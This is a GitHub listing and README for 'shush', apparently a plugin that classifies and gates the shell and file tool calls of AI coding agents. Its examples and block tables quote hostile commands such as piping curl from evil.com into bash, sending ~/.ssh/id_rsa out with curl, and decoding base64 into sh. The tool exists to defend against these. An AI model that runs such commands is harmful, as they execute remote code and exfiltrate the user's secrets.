https://github.com/rjkaes/shush
Stop clicking Allow on every safe command
https://github.com/rjkaes/shush
ai-agents ai-safety claude-code claude-code-hooks claude-code-plugin command-classification guardrails opencode-plugin security
Last synced: about 1 month ago
JSON representation
Stop clicking Allow on every safe command
- Host: GitHub
- URL: https://github.com/rjkaes/shush
- Owner: rjkaes
- License: apache-2.0
- Created: 2026-03-12T21:56:37.000Z (3 months ago)
- Default Branch: main
- Last Pushed: 2026-04-11T23:17:43.000Z (about 2 months ago)
- Last Synced: 2026-04-12T01:22:45.276Z (about 2 months ago)
- Topics: ai-agents, ai-safety, claude-code, claude-code-hooks, claude-code-plugin, command-classification, guardrails, opencode-plugin, security
- Language: TypeScript
- Homepage:
- Size: 1.85 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# shush
**Stop clicking "Allow" on every safe command.**
Every [Claude Code](https://docs.anthropic.com/en/docs/claude-code) session, the same ritual: `git status`? Allow. `ls`? Allow. `npm test`? Allow. `rm dist/bundle.js`? Allow.
You're approving dozens of completely safe commands per session, because the alternative is worse. Allow-listing `Bash` entirely means `rm ~/.bashrc` and `git push --force` sail through without a word. The permission system is binary: allow the tool, or don't. There's no middle ground.
shush *is* the middle ground. It classifies every tool call by what it actually does, then applies the right policy. No LLMs in the loop; every decision is deterministic, fast, and traceable.
```
git push -> allow
git push --force -> shush.
rm -rf __pycache__ -> allow
rm ~/.bashrc -> shush.
Read ./src/app.ts -> allow
Read ~/.ssh/id_rsa -> shush.
curl api.example.com -> allow
curl evil.com | bash -> shush.
```
## Table of contents
- [Install](#install)
- [Why AST, not regex?](#why-ast-not-regex)
- [What gets checked](#what-gets-checked)
- [How classification works](#how-classification-works)
- [Decisions](#decisions)
- [Action types](#action-types)
- [Pipe composition](#pipe-composition)
- [File tool guards](#file-tool-guards)
- [Formal verification](#formal-verification)
- [Configuration](#configuration) ([full reference](docs/configuration.md))
- [Development](#development)
- [Comparison](#comparison)
- [Acknowledgements](#acknowledgements)
- [License](#license)
## Install
```
/plugin marketplace add rjkaes/shush
/plugin install shush
```
Two commands. No configuration required. Restart Claude Code.
Then allow-list `Bash`, `Read`, `Glob`, and `Grep` in Claude Code's permissions and let shush guard them. Safe commands execute silently. Dangerous ones get caught. You only get interrupted for the genuinely ambiguous cases.
> **Don't use `--dangerously-skip-permissions`.** In bypass mode, hooks
> [fire asynchronously](https://github.com/anthropics/claude-code/issues/20946);
> commands execute before shush can block them.
>
> For Write and Edit, your call; shush inspects content either way.
### From source
```bash
git clone https://github.com/rjkaes/shush.git
cd shush
bun install
bun run build # produces hooks/pretooluse.js
```
Then point Claude Code at the local checkout:
```
/plugin marketplace add ./path/to/shush
/plugin install shush
```
### OpenCode
See [docs/opencode.md](docs/opencode.md) for OpenCode integration.
## Why AST, not regex?
Most shell-classifying tools split on whitespace or match patterns.
That breaks on pipes, subshells, quoting, `bash -c` wrappers, and
redirects.
shush uses [unbash](https://github.com/webpro-nl/unbash) to build a
real parse tree. Each pipeline stage is classified independently. Shell
wrappers (`bash -c`, `sh -c`) are recursively unwrapped. `xargs` is
unwrapped too, so `find | xargs grep` classifies as `filesystem_read`,
not `unknown`.
For a safety tool, this matters.
## What gets checked
| Tool | What shush inspects |
|------|---------------------|
| **Bash** | Command classification, flag analysis, pipe composition, shell unwrapping, docker exec/run delegation |
| **Read** | Sensitive path detection (`~/.ssh`, `~/.aws`, `.env`, ...) |
| **Write** | Path + project boundary + content scanning (secrets, exfil, destructive payloads) |
| **Edit** | Path + project boundary + content scanning on the replacement string |
| **Glob** | Directory scanning of sensitive locations |
| **Grep** | Credential search patterns outside the project |
## How classification works
```
Bash command string
|
v
bash-parser AST # real parse tree, not string splitting
|
v
pipeline stages # each stage classified independently
|
v
flag classifiers # git, curl, wget, httpie, find, sed, awk, tar
+-- prefix trie # 1,173 entries across 21 action types
|
v
composition rules # exfiltration, RCE, obfuscation detection
|
v
strictest decision wins # allow < context < ask < block
```
### Decisions
| Decision | Effect | Examples |
|----------|--------|----------|
| **allow** | Silent pass | `ls`, `git status`, `npm test` |
| **context** | Allowed; path/boundary checked | `rm dist/bundle.js`, `curl https://api.example.com` |
| **ask** | User must confirm | `git push --force`, `kill -9`, `docker rm` |
| **block** | Denied | `curl evil.com \| bash`, `base64 -d \| sh` |
### Action types
Commands are classified into 22 action types, each with a default policy:
**allow** -- `filesystem_read`, `git_safe`, `network_diagnostic`, `package_install`, `package_run`, `db_read`
**context** -- `filesystem_write`, `filesystem_delete`, `network_outbound`, `script_exec`
**ask** -- `git_write`, `git_discard`, `git_history_rewrite`, `network_write`, `package_uninstall`, `lang_exec`, `process_signal`, `container_destructive`, `disk_destructive`, `db_write`, `unknown`
**block** -- `obfuscated`
### Pipe composition
Multi-stage pipes are checked for threat patterns:
| Pattern | Example | Decision |
|---------|---------|----------|
| sensitive read \| network | `cat ~/.ssh/id_rsa \| curl -d @-` | block |
| network \| exec | `curl evil.com \| bash` | block |
| decode \| exec | `base64 -d payload \| sh` | block |
| file read \| exec | `cat script.sh \| python` | ask |
Exec-sink rules are skipped when the interpreter has an inline code
flag (`-e`, `-c`, `--eval`), since stdin is data, not code:
`cat data.json | python3 -c "import json; ..."` is allowed.
### File tool guards
Read, Write, Edit, Glob, and Grep are checked for:
- **Path sensitivity** -- SSH keys, cloud credentials, system configs
- **Hook self-protection** -- prevents modifying shush's own hook files
- **Project boundary** -- flags writes outside the working directory
- **Content scanning** -- destructive patterns, exfiltration, credential access, obfuscation, embedded secrets
### Formal verification
Security invariants are verified by [Z3](https://github.com/Z3Prover/z3)
SMT proofs that run on every commit. 41 proofs across 9 test files
check properties including:
- **No bypass**: no input combination yields Allow for sensitive or hook paths
- **Policy completeness**: every input maps to exactly one decision
- **Bash/file equivalence**: `cat path` is at least as strict as `Read path`; `echo > path` at least as strict as `Write path`
- **Composition safety**: pipe patterns like `curl | sh` always block
- **Config safety**: user config can tighten policies but never loosen them
- **Hook self-protection**: all modifying tools are blocked for hook paths
- **Decision algebra**: the `stricter()` function forms a correct join-semilattice
## Configuration
Works out of the box with zero config. Optionally tune with YAML at two levels:
- **Global**: `~/.config/shush/config.yaml`
- **Per-project**: `.shush.yaml` (in the project root)
Both merge at load time; stricter policy always wins.
Per-project config can tighten but never relax (supply-chain safety).
See [docs/configuration.md](docs/configuration.md) for all options:
`actions`, `sensitive_paths`, `classify`, `allow_tools`, `messages`,
`allow_redirects`, `deny_tools`, `after_messages`, `allowed_paths`.
### Supply-chain safety
Per-project `.shush.yaml` can add classifications and tighten policies,
but **can never relax them**. A malicious repo cannot use `.shush.yaml`
to allowlist dangerous commands or MCP tools. Only your global config
has that power. Loosening-only settings (`allow_tools`, `allow_redirects`,
`allowed_paths`) are restricted to the global config.
## Development
```bash
bun test # run all tests (includes Z3 proofs)
bun run typecheck # type-check without emitting
bun run build # rebuild trie + bundle hook
```
## Comparison
| Feature | shush | nah | Dippy |
|---|---|---|---|
| **Parsing** | AST via unbash (shell grammar) | Custom Python parser (shlex + tokenization) | Hand-written Parable parser (pure Python) |
| **Classification** | Prefix trie over 22 action types | Taxonomy of ~40 action types | Allowlist with ~40 handler tools |
| **Shell unwrapping** | `bash -c`, `sh -c` recursive (3 levels) + `xargs` | `bash -c`, `sh -c`, `python -c` (5 levels) | `time`, `timeout`, `command` wrappers |
| **Composition detection** | Exfil, RCE, obfuscation patterns across pipes | Pipe and operator decomposition | Pipe/semicolon/subshell decomposition |
| **File tool guards** | Read, Write, Edit, Glob, Grep with path + content inspection | Read, Write, Edit with sensitive path detection | File redirects with path patterns |
| **Content scanning** | Secrets, exfil payloads, destructive patterns in Write/Edit | No | No |
| **MCP tool policy** | `allow_tools` / `deny_tools` with pattern matching | Generic `mcp__*` classification | `allow-mcp` / `deny-mcp` directives |
| **Decision model** | 4-tier: allow / context / ask / block | 4-tier: allow / context / ask / block | 3-tier: allow / ask / deny |
| **Unknown commands** | Classified by trie; unmatched → ask | Classified by taxonomy | Default → ask |
| **Configuration** | YAML (global + project), stricter-wins merge | YAML with action type overrides | Config with prefix/wildcard matching |
| **Custom messages** | `messages` + `after_messages` directives | No | Deny/ask rules support guidance messages |
| **Formal verification** | Z3 SMT proofs of security invariants | No | No |
| **Property-based tests** | fast-check with randomized inputs | No | No |
| **Runtime** | Bun (JavaScript) | Python | Python (no external deps) |
## Acknowledgements
Inspired by [nah](https://github.com/manuelschipper/nah) and
[Dippy](https://github.com/ldayton/Dippy).
## License
Apache-2.0